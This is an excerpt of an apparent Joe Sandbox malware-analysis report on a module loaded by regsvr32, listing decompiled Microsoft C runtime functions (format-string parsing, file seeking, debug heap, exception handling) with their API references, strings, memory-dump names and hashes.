0x7fef9d3df7a
0x7fef9d3df80
0x7fef9d3df95
0x7fef9d3dfa6
0x7fef9d3dfb5
0x7fef9d3dfdc

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3DBE4
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3DBF9
_invalid_parameter.LIBCMTD ref: 000007FEF9D3ED4C
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3ED61
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3ED82

Strings

_woutput_s_l, xrefs: 000007FEF9D3DBD6
("Incorrect format specifier", 0), xrefs: 000007FEF9D3DB7D, 000007FEF9D3DBDD
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3DB92, 000007FEF9D3DBCF

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$_invalid_parameter
String ID: ("Incorrect format specifier", 0)$_woutput_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 2192614184-734865713
Opcode ID: d839b4f8492d9702b4695783724771f139c243a43186ab9091008b35e86c7283
Instruction ID: 2534415b6cec3e8c7a7064d8bee2958269565171124d4a2b4bf05b50673a9d36
Opcode Fuzzy Hash: d839b4f8492d9702b4695783724771f139c243a43186ab9091008b35e86c7283
Instruction Fuzzy Hash: 4C411CB2A0C6C18AE3B0CB64E8447BEB7E0F384345F600125E6D987AA8DB7DD444CF14

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3DC41 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 84
COMMON

Download Yara Rule

C-Code - Quality: 28%

			E000007FE7FEF9D3DC41(intOrPtr _a76, signed int _a80, signed int _a88, signed int _a92, signed int _a108, signed int _a112, intOrPtr _a116, char _a1200, signed int _a1208, intOrPtr _a1216, signed int _a1404, signed int _a1408, signed int _a1412, intOrPtr _a1536, signed short* _a1544, char _a1560) {
				void* _t190;
				char* _t210;
				char* _t211;

				_a76 = 1;
				E000007FE7FEF9D3EE40(_a1208 & 0x0000ffff, _a1536,  &_a1200);
				_a112 = 0;
				_a108 = _a112;
				_a88 = _a108;
				_a92 = _a88;
				_a80 = 0;
				_a116 = 0xffffffff;
				_a76 = 0;
				_a1404 = _a1208 & 0x0000ffff;
				if (_a1404 == 0x20) goto 0xf9d3dd05;
				if (_a1404 == 0x23) goto 0xf9d3dd12;
				if (_a1404 == 0x2b) goto 0xf9d3dcf8;
				if (_a1404 == 0x2d) goto 0xf9d3dceb;
				if (_a1404 == 0x30) goto 0xf9d3dd20;
				goto 0xf9d3dd2b;
				_a80 = _a80 | 0x00000004;
				goto 0xf9d3dd2b;
				_a80 = _a80 | 0x00000001;
				goto 0xf9d3dd2b;
				_a80 = _a80 | 0x00000002;
				goto 0xf9d3dd2b;
				asm("bts eax, 0x7");
				goto 0xf9d3dd2b;
				_a80 = _a80 | 0x00000008;
				if ((_a1208 & 0x0000ffff) != 0x2a) goto 0xf9d3dd6c;
				_t210 =  &_a1560;
				_a88 = E000007FE7FEF9D31E40(_t210);
				if (_a88 >= 0) goto 0xf9d3dd6a;
				_a80 = _a80 | 0x00000004;
				_a88 =  ~_a88;
				goto 0xf9d3dd83;
				_a88 = _t190 + _t210 - 0x30;
				_a116 = 0;
				if ((_a1208 & 0x0000ffff) != 0x2a) goto 0xf9d3ddc4;
				_t211 =  &_a1560;
				_a116 = E000007FE7FEF9D31E40(_t211);
				if (_a116 >= 0) goto 0xf9d3ddc2;
				_a116 = 0xffffffff;
				goto 0xf9d3dddb;
				_a116 = _t190 + _t211 - 0x30;
				_a1408 = _a1208 & 0x0000ffff;
				if (_a1408 == 0x49) goto 0xf9d3de66;
				if (_a1408 == 0x68) goto 0xf9d3df6f;
				if (_a1408 == 0x6c) goto 0xf9d3de24;
				if (_a1408 == 0x77) goto 0xf9d3df7c;
				goto 0xf9d3df88;
				if (( *_a1544 & 0x0000ffff) != 0x6c) goto 0xf9d3de56;
				_a1544 =  &(_a1544[1]);
				asm("bts eax, 0xc");
				goto 0xf9d3de61;
				_a80 = _a80 | 0x00000010;
				goto 0xf9d3df88;
				asm("bts eax, 0xf");
				if (( *_a1544 & 0x0000ffff) != 0x36) goto 0xf9d3deb8;
				if ((_a1544[1] & 0x0000ffff) != 0x34) goto 0xf9d3deb8;
				_a1544 =  &(_a1544[2]);
				asm("bts eax, 0xf");
				goto 0xf9d3df6d;
				if (( *_a1544 & 0x0000ffff) != 0x33) goto 0xf9d3defb;
				if ((_a1544[1] & 0x0000ffff) != 0x32) goto 0xf9d3defb;
				_a1544 =  &(_a1544[2]);
				asm("btr eax, 0xf");
				goto 0xf9d3df6d;
				if (( *_a1544 & 0x0000ffff) == 0x64) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x69) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x6f) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x75) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x78) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) != 0x58) goto 0xf9d3df5d;
				goto 0xf9d3df6d;
				_a1216 = 0;
				goto E000007FE7FEF9D3DC41;
				goto 0xf9d3df88;
				_a80 = _a80 | 0x00000020;
				goto 0xf9d3df88;
				asm("bts eax, 0xb");
				_a1412 = _a1208 & 0x0000ffff;
				_a1412 = _a1412 - 0x41;
				if (_a1412 - 0x37 > 0) goto 0xf9d3ea2a;
				goto __rax;
			}

0x7fef9d3dc41
0x7fef9d3dc61
0x7fef9d3dc6b
0x7fef9d3dc77
0x7fef9d3dc7f
0x7fef9d3dc87
0x7fef9d3dc8b
0x7fef9d3dc93
0x7fef9d3dc9b
0x7fef9d3dcb0
0x7fef9d3dcbf
0x7fef9d3dcc9
0x7fef9d3dcd3
0x7fef9d3dcdd
0x7fef9d3dce7
0x7fef9d3dce9
0x7fef9d3dcf2
0x7fef9d3dcf6
0x7fef9d3dcff
0x7fef9d3dd03
0x7fef9d3dd0c
0x7fef9d3dd10
0x7fef9d3dd16
0x7fef9d3dd1e
0x7fef9d3dd27
0x7fef9d3dd3b
0x7fef9d3dd3d
0x7fef9d3dd4a
0x7fef9d3dd53
0x7fef9d3dd5c
0x7fef9d3dd66
0x7fef9d3dd6a
0x7fef9d3dd7f
0x7fef9d3dd88
0x7fef9d3dda0
0x7fef9d3dda2
0x7fef9d3ddaf
0x7fef9d3ddb8
0x7fef9d3ddba
0x7fef9d3ddc2
0x7fef9d3ddd7
0x7fef9d3dde8
0x7fef9d3ddf7
0x7fef9d3de01
0x7fef9d3de0f
0x7fef9d3de19
0x7fef9d3de1f
0x7fef9d3de32
0x7fef9d3de40
0x7fef9d3de4c
0x7fef9d3de54
0x7fef9d3de5d
0x7fef9d3de61
0x7fef9d3de6a
0x7fef9d3de80
0x7fef9d3de91
0x7fef9d3de9f
0x7fef9d3deab
0x7fef9d3deb3
0x7fef9d3dec6
0x7fef9d3ded7
0x7fef9d3dee5
0x7fef9d3def1
0x7fef9d3def9
0x7fef9d3df09
0x7fef9d3df19
0x7fef9d3df29
0x7fef9d3df39
0x7fef9d3df49
0x7fef9d3df59
0x7fef9d3df5b
0x7fef9d3df5d
0x7fef9d3df68
0x7fef9d3df6d
0x7fef9d3df76
0x7fef9d3df7a
0x7fef9d3df80
0x7fef9d3df95
0x7fef9d3dfa6
0x7fef9d3dfb5
0x7fef9d3dfdc

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3DBE4
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3DBF9
_invalid_parameter.LIBCMTD ref: 000007FEF9D3ED4C
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3ED61
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3ED82

Strings

_woutput_s_l, xrefs: 000007FEF9D3DBD6
("Incorrect format specifier", 0), xrefs: 000007FEF9D3DB7D, 000007FEF9D3DBDD
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3DB92, 000007FEF9D3DBCF

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$_invalid_parameter
String ID: ("Incorrect format specifier", 0)$_woutput_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 2192614184-734865713
Opcode ID: 00c8469e1271fc8907031e5201d4ef955f45b92ddfc689a069c686c98e5ea265
Instruction ID: 4e41d9db2091814ce308bd8b3badba688d1355b6a5e36393cab3bd2279fd69d5
Opcode Fuzzy Hash: 00c8469e1271fc8907031e5201d4ef955f45b92ddfc689a069c686c98e5ea265
Instruction Fuzzy Hash: 01412AB2A0C6C286E7F09B64E8407BEB2E4F384346F600126D6CD876A9DB3ED444CF14

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3BDDA Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 80
COMMON

Download Yara Rule

C-Code - Quality: 24%

			E000007FE7FEF9D3BDDA(signed int _a80, intOrPtr _a116, signed int _a696, intOrPtr _a704, char _a972, signed int _a976, void* _a1096, char _a1112) {
				void* _t114;
				char* _t134;

				_a116 = 0;
				if (_a696 != 0x2a) goto 0xf9d3be16;
				_t134 =  &_a1112;
				_a116 = E000007FE7FEF9D31E40(_t134);
				if (_a116 >= 0) goto 0xf9d3be14;
				_a116 = 0xffffffff;
				goto 0xf9d3be2d;
				_a116 = _t114 + _t134 - 0x30;
				_a972 = _a696 & 0x000000ff;
				if (_a972 == 0x49) goto 0xf9d3beb7;
				if (_a972 == 0x68) goto 0xf9d3bfc0;
				if (_a972 == 0x6c) goto 0xf9d3be76;
				if (_a972 == 0x77) goto 0xf9d3bfcd;
				goto 0xf9d3bfd9;
				if ( *_a1096 != 0x6c) goto 0xf9d3bea7;
				_a1096 = _a1096 + 1;
				asm("bts eax, 0xc");
				goto 0xf9d3beb2;
				_a80 = _a80 | 0x00000010;
				goto 0xf9d3bfd9;
				asm("bts eax, 0xf");
				if ( *_a1096 != 0x36) goto 0xf9d3bf09;
				if ( *((char*)(_a1096 + 1)) != 0x34) goto 0xf9d3bf09;
				_a1096 = _a1096 + 2;
				asm("bts eax, 0xf");
				goto 0xf9d3bfbe;
				if ( *_a1096 != 0x33) goto 0xf9d3bf4c;
				if ( *((char*)(_a1096 + 1)) != 0x32) goto 0xf9d3bf4c;
				_a1096 = _a1096 + 2;
				asm("btr eax, 0xf");
				goto 0xf9d3bfbe;
				if ( *_a1096 == 0x64) goto 0xf9d3bfac;
				if ( *_a1096 == 0x69) goto 0xf9d3bfac;
				if ( *_a1096 == 0x6f) goto 0xf9d3bfac;
				if ( *_a1096 == 0x75) goto 0xf9d3bfac;
				if ( *_a1096 == 0x78) goto 0xf9d3bfac;
				if ( *_a1096 != 0x58) goto 0xf9d3bfae;
				goto 0xf9d3bfbe;
				_a704 = 0;
				goto E000007FE7FEF9D3BB66;
				goto 0xf9d3bfd9;
				_a80 = _a80 | 0x00000020;
				goto 0xf9d3bfd9;
				asm("bts eax, 0xb");
				_a976 = _a696;
				_a976 = _a976 - 0x41;
				if (_a976 - 0x37 > 0) goto 0xf9d3ca31;
				goto __rax;
			}

0x7fef9d3bdda
0x7fef9d3bdf2
0x7fef9d3bdf4
0x7fef9d3be01
0x7fef9d3be0a
0x7fef9d3be0c
0x7fef9d3be14
0x7fef9d3be29
0x7fef9d3be3a
0x7fef9d3be49
0x7fef9d3be53
0x7fef9d3be61
0x7fef9d3be6b
0x7fef9d3be71
0x7fef9d3be84
0x7fef9d3be91
0x7fef9d3be9d
0x7fef9d3bea5
0x7fef9d3beae
0x7fef9d3beb2
0x7fef9d3bebb
0x7fef9d3bed1
0x7fef9d3bee2
0x7fef9d3bef0
0x7fef9d3befc
0x7fef9d3bf04
0x7fef9d3bf17
0x7fef9d3bf28
0x7fef9d3bf36
0x7fef9d3bf42
0x7fef9d3bf4a
0x7fef9d3bf5a
0x7fef9d3bf6a
0x7fef9d3bf7a
0x7fef9d3bf8a
0x7fef9d3bf9a
0x7fef9d3bfaa
0x7fef9d3bfac
0x7fef9d3bfae
0x7fef9d3bfb9
0x7fef9d3bfbe
0x7fef9d3bfc7
0x7fef9d3bfcb
0x7fef9d3bfd1
0x7fef9d3bfe6
0x7fef9d3bff7
0x7fef9d3c006
0x7fef9d3c02d

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3BB09
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3BB1E
_invalid_parameter.LIBCMTD ref: 000007FEF9D3CD3E
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3CD53
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3CD74

Strings

("Incorrect format specifier", 0), xrefs: 000007FEF9D3BAA2, 000007FEF9D3BB02
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3BAB7, 000007FEF9D3BAF4
_output_s_l, xrefs: 000007FEF9D3BAFB

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$_invalid_parameter
String ID: ("Incorrect format specifier", 0)$_output_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 2192614184-192189897
Opcode ID: 0dcb35cdac88f8f65d488c6c387acf7a3a87c9c5c0c9a15f6f87c725b9d0fc3a
Instruction ID: 25f4969c447c8d4d660c638a7323c6370fe89c3a0b7b258112d187f79a668fd6
Opcode Fuzzy Hash: 0dcb35cdac88f8f65d488c6c387acf7a3a87c9c5c0c9a15f6f87c725b9d0fc3a
Instruction Fuzzy Hash: ED416E72A0DAC28AE3F0DB24E8547BEB7E4E384345F600126D6DD869A9DB7ED140CF10

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3DD88 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 80
COMMON

Download Yara Rule

C-Code - Quality: 24%

			E000007FE7FEF9D3DD88(signed int _a80, intOrPtr _a116, signed int _a1208, intOrPtr _a1216, signed int _a1408, signed int _a1412, signed short* _a1544, char _a1560) {
				void* _t114;
				char* _t134;

				_a116 = 0;
				if ((_a1208 & 0x0000ffff) != 0x2a) goto 0xf9d3ddc4;
				_t134 =  &_a1560;
				_a116 = E000007FE7FEF9D31E40(_t134);
				if (_a116 >= 0) goto 0xf9d3ddc2;
				_a116 = 0xffffffff;
				goto 0xf9d3dddb;
				_a116 = _t114 + _t134 - 0x30;
				_a1408 = _a1208 & 0x0000ffff;
				if (_a1408 == 0x49) goto 0xf9d3de66;
				if (_a1408 == 0x68) goto 0xf9d3df6f;
				if (_a1408 == 0x6c) goto 0xf9d3de24;
				if (_a1408 == 0x77) goto 0xf9d3df7c;
				goto 0xf9d3df88;
				if (( *_a1544 & 0x0000ffff) != 0x6c) goto 0xf9d3de56;
				_a1544 =  &(_a1544[1]);
				asm("bts eax, 0xc");
				goto 0xf9d3de61;
				_a80 = _a80 | 0x00000010;
				goto 0xf9d3df88;
				asm("bts eax, 0xf");
				if (( *_a1544 & 0x0000ffff) != 0x36) goto 0xf9d3deb8;
				if ((_a1544[1] & 0x0000ffff) != 0x34) goto 0xf9d3deb8;
				_a1544 =  &(_a1544[2]);
				asm("bts eax, 0xf");
				goto 0xf9d3df6d;
				if (( *_a1544 & 0x0000ffff) != 0x33) goto 0xf9d3defb;
				if ((_a1544[1] & 0x0000ffff) != 0x32) goto 0xf9d3defb;
				_a1544 =  &(_a1544[2]);
				asm("btr eax, 0xf");
				goto 0xf9d3df6d;
				if (( *_a1544 & 0x0000ffff) == 0x64) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x69) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x6f) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x75) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x78) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) != 0x58) goto 0xf9d3df5d;
				goto 0xf9d3df6d;
				_a1216 = 0;
				goto E000007FE7FEF9D3DC41;
				goto 0xf9d3df88;
				_a80 = _a80 | 0x00000020;
				goto 0xf9d3df88;
				asm("bts eax, 0xb");
				_a1412 = _a1208 & 0x0000ffff;
				_a1412 = _a1412 - 0x41;
				if (_a1412 - 0x37 > 0) goto 0xf9d3ea2a;
				goto __rax;
			}

0x7fef9d3dd88
0x7fef9d3dda0
0x7fef9d3dda2
0x7fef9d3ddaf
0x7fef9d3ddb8
0x7fef9d3ddba
0x7fef9d3ddc2
0x7fef9d3ddd7
0x7fef9d3dde8
0x7fef9d3ddf7
0x7fef9d3de01
0x7fef9d3de0f
0x7fef9d3de19
0x7fef9d3de1f
0x7fef9d3de32
0x7fef9d3de40
0x7fef9d3de4c
0x7fef9d3de54
0x7fef9d3de5d
0x7fef9d3de61
0x7fef9d3de6a
0x7fef9d3de80
0x7fef9d3de91
0x7fef9d3de9f
0x7fef9d3deab
0x7fef9d3deb3
0x7fef9d3dec6
0x7fef9d3ded7
0x7fef9d3dee5
0x7fef9d3def1
0x7fef9d3def9
0x7fef9d3df09
0x7fef9d3df19
0x7fef9d3df29
0x7fef9d3df39
0x7fef9d3df49
0x7fef9d3df59
0x7fef9d3df5b
0x7fef9d3df5d
0x7fef9d3df68
0x7fef9d3df6d
0x7fef9d3df76
0x7fef9d3df7a
0x7fef9d3df80
0x7fef9d3df95
0x7fef9d3dfa6
0x7fef9d3dfb5
0x7fef9d3dfdc

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3DBE4
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3DBF9
_invalid_parameter.LIBCMTD ref: 000007FEF9D3ED4C
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3ED61
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3ED82

Strings

_woutput_s_l, xrefs: 000007FEF9D3DBD6
("Incorrect format specifier", 0), xrefs: 000007FEF9D3DB7D, 000007FEF9D3DBDD
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3DB92, 000007FEF9D3DBCF

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$_invalid_parameter
String ID: ("Incorrect format specifier", 0)$_woutput_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 2192614184-734865713
Opcode ID: c688226ec199b2b9f0c59a43de4c80c1eb2ed98f75eb3809899ea6a1a3543fc2
Instruction ID: 6afb929124b84414141dd4680376ccf7afecd9c4b7d6d92296aea7179b7f5a27
Opcode Fuzzy Hash: c688226ec199b2b9f0c59a43de4c80c1eb2ed98f75eb3809899ea6a1a3543fc2
Instruction Fuzzy Hash: 024109A2A0C6C286E7F09B64E8447BEB6E4F394346F600126D6CD876A5DB3ED444DF14

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D39520 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

Part of subcall function 000007FEF9D3F900: __doserrno.LIBCMTD ref: 000007FEF9D3F913

SetFilePointer.KERNEL32 ref: 000007FEF9D395B0
GetLastError.KERNEL32 ref: 000007FEF9D395C1
_dosmaperr.LIBCMTD ref: 000007FEF9D395D6

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\lseeki64.c, xrefs: 000007FEF9D39578
("Invalid file descriptor. File possibly closed by a different thread",0), xrefs: 000007FEF9D39563

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: ErrorFileLastPointer__doserrno_dosmaperr
String ID: ("Invalid file descriptor. File possibly closed by a different thread",0)$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\lseeki64.c
API String ID: 275287319-2412454244
Opcode ID: 9dbe059b54c234531181e61fbc079bb475f6c20a5a1a356ebb7b18ccdd590da7
Instruction ID: f463794f61061979348d28cf0890255f55ae464b61bc66257c006d95a81b41bb
Opcode Fuzzy Hash: 9dbe059b54c234531181e61fbc079bb475f6c20a5a1a356ebb7b18ccdd590da7
Instruction Fuzzy Hash: A8316372A18B85C6D790CB28E88066E77A1F7857A5F604325E6FE47AF9CB3DD441CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D26210 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 66COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D262BE
_unlock.LIBCMTD ref: 000007FEF9D26329

Strings

_CrtSetDbgFlag, xrefs: 000007FEF9D262B0
(fNewBits==_CRTDBG_REPORT_FLAG) || ((fNewBits & 0x0ffff & ~(_CRTDBG_ALLOC_MEM_DF | _CRTDBG_DELAY_FREE_MEM_DF | _CRTDBG_CHECK_ALWAY, xrefs: 000007FEF9D2625A, 000007FEF9D262B7
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c, xrefs: 000007FEF9D2626F, 000007FEF9D262A9

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter_unlock
String ID: (fNewBits==_CRTDBG_REPORT_FLAG) || ((fNewBits & 0x0ffff & ~(_CRTDBG_ALLOC_MEM_DF | _CRTDBG_DELAY_FREE_MEM_DF | _CRTDBG_CHECK_ALWAY$_CrtSetDbgFlag$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c
API String ID: 2816345473-1282596470
Opcode ID: db3a677d4455786e2b88604055b88d75c0eb5ecf603a90f053d8ba1f75c85f5c
Instruction ID: 0c290ab1c852a48438f6a901ce88093280091c3cb9967e086700a94ae8aeefb6
Opcode Fuzzy Hash: db3a677d4455786e2b88604055b88d75c0eb5ecf603a90f053d8ba1f75c85f5c
Instruction Fuzzy Hash: 18313371D1D2428AE3A08B68ED4476E77E0F741364F615236A6CD866F4D77EE4488B00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D40070 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 55COMMONLIBRARYCODE

Download Yara Rule

APIs

_free_nolock.LIBCMTD ref: 000007FEF9D400EA
_free_nolock.LIBCMTD ref: 000007FEF9D40143
_unlock.LIBCMTD ref: 000007FEF9D4015A

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\prebuild\eh\typname.cpp, xrefs: 000007FEF9D4011C
pNode->_Next != NULL, xrefs: 000007FEF9D40107

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _free_nolock$_unlock
String ID: f:\dd\vctools\crt_bld\self_64_amd64\crt\prebuild\eh\typname.cpp$pNode->_Next != NULL
API String ID: 2500497606-1087415141
Opcode ID: e5522c6252449cb40e85df54e6268dac1ebec28ce271d6c329a952fe203911e4
Instruction ID: 34f18152e293ad813cf8b9b11c4969fef8ff7405ef187e896dde4a1f66726313
Opcode Fuzzy Hash: e5522c6252449cb40e85df54e6268dac1ebec28ce271d6c329a952fe203911e4
Instruction Fuzzy Hash: 4121FC36629B8581EB909B59E89072DA3E4F3C4B94F609426FACE437B4CF7ED444CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D35393 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

__RethrowException.LIBCMTD ref: 000007FEF9D353C5

Part of subcall function 000007FEF9D354A0: RaiseException.KERNEL32 ref: 000007FEF9D354CD

__RethrowException.LIBCMTD ref: 000007FEF9D353D1
_FindAndUnlinkFrame.LIBCMTD ref: 000007FEF9D353DC
_IsExceptionObjectToBeDestroyed.LIBCMTD ref: 000007FEF9D35433

Strings

csm, xrefs: 000007FEF9D353ED

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Exception$Rethrow$DestroyedFindFrameObjectRaiseUnlink
String ID: csm
API String ID: 933340387-1018135373
Opcode ID: 185150422f69e9325bbbdd07ff6b0460cc0f5d94f5833ed3dae1d6afaaf19a73
Instruction ID: be7caa3ba3d0a30f9fef9d29ccc0ee5b0ac29a888dcf6323555a590ed5530147
Opcode Fuzzy Hash: 185150422f69e9325bbbdd07ff6b0460cc0f5d94f5833ed3dae1d6afaaf19a73
Instruction Fuzzy Hash: BE21FA32A0C64582DAA09B15E49076D67A0F7C0B52F611136EADE077B5CB3BD4418B00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D39694 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 37COMMON

Download Yara Rule

APIs

